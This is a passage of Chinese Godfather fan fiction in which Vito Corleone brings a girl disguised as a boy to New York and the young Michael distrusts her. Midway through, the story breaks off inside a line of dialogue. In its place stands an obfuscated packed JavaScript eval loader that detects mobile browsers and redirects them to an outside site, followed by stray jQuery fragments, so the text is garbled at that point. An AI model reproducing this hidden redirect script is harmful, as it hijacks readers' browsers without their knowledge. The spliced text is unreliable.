着科里昂离开了西西里。先坐火车，跨越大半个西欧抵达鹿特丹港，再乘坐邮轮穿过大西洋抵达纽约。
艾波没想到上船当天，她就发现了个大乌龙。
事情是这样的。托马辛诺大叔加买的船票是给西多尼亚住的女子舱，现在乘客换成了男孩模样的艾波，不太能退票，科里昂先生就得另想办法了。
他找来艾波，试图商量：“情况是这样，需要你换上康斯坦尼的裙子登船，白天你可以来我父子的舱室休息，晚上如果管家没有来检查船票，你也可以和我们一起睡。”
艾波正在啃一个三明治，蕃茄酱沾了大半个脸颊，她不明所以地抬起头：“穿女装我能接受，可为什么不检查就可以睡你们舱室？”
科里昂先生似乎噎了一下，“你要要是坚持恪守规则，并且不会不好意思和女人们一个房间睡也行。”
“为什么会不好意思，”艾波反应过来，不可思议地瞪大眼睛，“科里昂先生，我是女孩！”
话音方落，艾波就感觉眼前的一家之主反应迟钝了起来，上下打量好几眼，好像她是什么新大陆刚发现的、该被送进展览馆的奇怪动物。
她抢白：“我以为会有神父和您说！”
“……我只问了姆塞蒂。”维多.科里昂揉了揉眉心，“我会给你准备一份嫁妆。”
这思路转换得好快，也好大方。但艾波并不想要。“科里昂先生，我并不是有意隐瞒您，只是男孩的身份更容易在社会上活动。我相信您把我带到纽约，是有地方用得上我，而不仅作为您慈悲形象的吉祥物。”
“所以你愿意
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14257638|151610||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
以男孩的身份生活？”他再次确认。
艾波郑重点头：“直到我发育，再也隐瞒不了。我会在那之前完成您交给我的目标，无论那是什么。”
“好。”维多.科里昂笑起来，揉了揉艾波的板寸，“以后叫我爸爸。”
*
那个艾波.维太里竟然要跟他们回纽约？？？迈克尔觉得一定是上帝在和他开玩笑。
他为什么要闯进他的生活？像是墙角的霉斑一样，起初毫不起眼，越变越大，逐步扩散最后侵占整座房屋。他拥有了桑尼的好感，得到了父亲的认可，下一步呢？是不是弗雷多会带他钓鱼，妈妈会给他做家传的意大利面，康妮会缠着他叫哥哥？
迈克尔满心愤懑，气得好像胸口摆了一百瓶剧烈晃动的可乐。
他决心盯紧那个骗子，防止诡诈的伎俩对他的家庭造成伤害。
从西西里回纽约的路途，他全程都很老实，不是在翻看一本书页咔擦作响的圣经，就是在数柠檬。那一兜柠檬背在他的肩膀，活脱脱缩小版的西西里农民。
迈克尔真的想不明白，总共八颗柠檬，那小子为什么要翻来覆去地数，像是最爱财的苏丹，一次又一次检查自己的收藏。他把这一行为归结为脑子不好，就像关在笼子里的鸡，总是会无意识地啄栅栏。
不过这个行为倒让迈克尔在心里给他取了个绰号——矮柠檬——长得不坏，但里面憋着倒牙的酸，充满欺骗性。
抵达荷兰的这一天早上，弗雷多悄悄和他说：“迈基，今天有好戏看了。”
“什么戏？”
“艾波会穿上康妮的裙子。”
迈克尔怀疑地看向二哥。
“哎，你相信我，”弗雷多笑眯眯的，“还记得我上次和你说的船票么？我听到爸爸在上一个车站打电话咨询了，不能换票、不能退票，最重要的是，男舱房全部售罄了。可我们来的路上你也感觉到了，检票蛮严格，回纽约只会更严。”
迈克尔顺着他的思路：“你是说，爸爸会让矮、艾波扮成女孩